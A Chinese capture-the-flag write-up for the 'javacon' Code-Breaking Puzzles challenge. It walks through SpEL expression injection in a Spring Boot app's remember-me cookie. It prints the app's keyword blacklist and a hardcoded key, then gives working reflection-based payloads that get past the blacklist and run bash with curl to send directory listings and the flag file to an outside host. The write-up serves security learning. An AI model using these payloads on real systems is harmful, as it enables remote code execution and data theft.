Code-Breaking Puzzles - javacon WriteUp

栏目: Java · 发布时间: 5年前

内容简介:刷微博正好看到P神的活动,学习了。命令启动再点击IDEA右上角的DEBUG即可。

刷微博正好看到P神的活动,学习了。

简单记录下jar分析一般步骤:

源码下载后,JD-GUI反编译,或者到IDEA中放进lib便可以查看反编译class源码。

如果需要调试,IDEA打断点后,配置Remote如下

Code-Breaking Puzzles - javacon WriteUp

命令启动

java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar challenge-0.0.1-SNAPSHOT.jar
 

再点击IDEA右上角的DEBUG即可。

程序结构:

Code-Breaking Puzzles - javacon WriteUp

首先我们可以从SpringBoot的配置 application.yml看起

spring:
  thymeleaf:
    encoding: UTF-8
    cache: false
    mode: HTML
keywords:
  blacklist:
    - java.+lang
    - Runtime
    - exec.*\(
user:
  username: admin
  password: admin
  rememberMeKey: c0dehack1nghere1
 

主要就是一个黑名单,一个用户的提供。

其他文件 :

SmallEvaluationContext 继承 StandardEvaluationContext,主要是提供一个上下文环境,相当于一个容器。

ChallengeApplication 用于启动

Encryptor 加密解密 工具

KeyworkProperties 使用黑名单时需要

UserConfig 用户模型,可以看到在RemberMe时使用了Encryptor

主要看MainController

Code-Breaking Puzzles - javacon WriteUp

我们从登录看起

@PostMapping({"/login"})
    public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
        if(this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
            session.setAttribute("username", username);
            if(isRemember != null && !isRemember.equals("")) {
                Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
                c.setMaxAge(2592000);
                response.addCookie(c);
            }
 
            return "redirect:/";
        } else {
            return "redirect:/login-error";
        }
    }
 

判断用户名密码,如果勾选了remberMe则浏览器存入加密后的cookie。

最后跳转hello.html

<h2 th:text="'Hello, ' + ${session.username}"></h2>

Code-Breaking Puzzles - javacon WriteUp

打开页面后其中比较敏感的一个操作就是对Cookie的处理,如下

@GetMapping
    public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
        if(rememberMeValue != null && !rememberMeValue.equals("")) {
            String username = this.userConfig.decryptRememberMe(rememberMeValue);
            if(username != null) {
                session.setAttribute("username", username);
            }
        }
 
        Object username = session.getAttribute("username");
        if(username != null && !username.toString().equals("")) {
            model.addAttribute("name", this.getAdvanceValue(username.toString()));
            return "hello";
        } else {
            return "redirect:/login";
        }
    }
 

程序判断rememberMeValue存在后,直接对其进行解密,然后将其 setAttribute ,接下来可以看到 this.getAdvanceValue(username.toString())
我们来看这个方法。

@ExceptionHandler({HttpClientErrorException.class})
    @ResponseStatus(HttpStatus.FORBIDDEN)
    public String handleForbiddenException() {
        return "forbidden";
    }
 
    private String getAdvanceValue(String val) {
        String[] var2 = this.keyworkProperties.getBlacklist();
        int var3 = var2.length;
 
        for(int var4 = 0; var4 < var3; ++var4) {
            String keyword = var2[var4];
            Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
            if(matcher.find()) {
                throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
            }
        }
 
        ParserContext parserContext = new TemplateParserContext();
        Expression exp = this.parser.parseExpression(val, parserContext);
        SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
        return exp.getValue(evaluationContext).toString();
    }
 

其实就是与其跟黑名单做正则匹配,如果匹配成功则抛出 HttpStatus.FORBIDDEN ,如果没有匹配到则进行正常流程,在 SmallEvaluationContext 进行SpEL表达式解析。注意,这里就存在El表达式注入的问题了。

JAVA 中我们可以通过

Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator")
 

来执行命令,但在这个题目中使用了黑名单。

所以这里我们需要使用反射来构造一条调用链,这样就可以在关键字处使用字符串拼接来达到绕过黑名单的效果。

不熟悉反射的小伙伴可以先学习一下,这里我直接给出POC 还有一些注意的点。

我们选择利用curl来配合执行命令,所以如下,字符串拼接很好理解,很容易绕过了正则匹配。

String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl http://fg5hme.ceye.io/1aa1k");
 

运行一下,可以看到我们成功接受到了请求。

Code-Breaking Puzzles - javacon WriteUp

接下来我们需要将其构造为SpEl的解析格式,主要就是改一个T() 。在SpEL中,使用T()运算符会调用类作用域的方法和常量。

需要注意的一个点,在JAVA中Runtime中exec对复杂一点的 linux 命令执行不了…我们需要将其参数改成如下才可以

new String[]{"/bin/bash\","-c","xxxxx"}
 

所以我们构造如下POC 来执行命令并获取结果,这里一个小技巧就是使用base64来传数据。

System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl fg5hme.ceye.io/`cd / && ls|base64|tr '\\n' '-'`\"})}"));
 

获取目录

之后cat flag,如下,再上上面一样加密后存入cookie中即可。

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}
 
Code-Breaking Puzzles - javacon WriteUp

Code-Breaking Puzzles - javacon WriteUp

Code-Breaking Puzzles - javacon WriteUp

最后,师傅们Tql,感谢p神的题目。

Code-Breaking Puzzles - javacon WriteUp


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

程序员面试宝典(第5版)

程序员面试宝典(第5版)

欧立奇、刘洋、段韬 / 电子工业出版社 / 2015-10 / 55.00

容提要 《程序员面试宝典(第5版)》是《程序员面试宝典》的第5 版,在保留第4 版的数据结构、面向对象、程序设计等主干的基础上,修正了前4 版近40 处错误,解释清楚一些读者提出的问题,并使用各大IT 公司及相关企业最新面试题(2014-2015)替换和补充原内容,以反映自第4 版以来两年多的时间内所发生的变化。 《程序员面试宝典(第5版)》取材于各大公司面试真题(笔试、口试、电话面试......一起来看看 《程序员面试宝典(第5版)》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具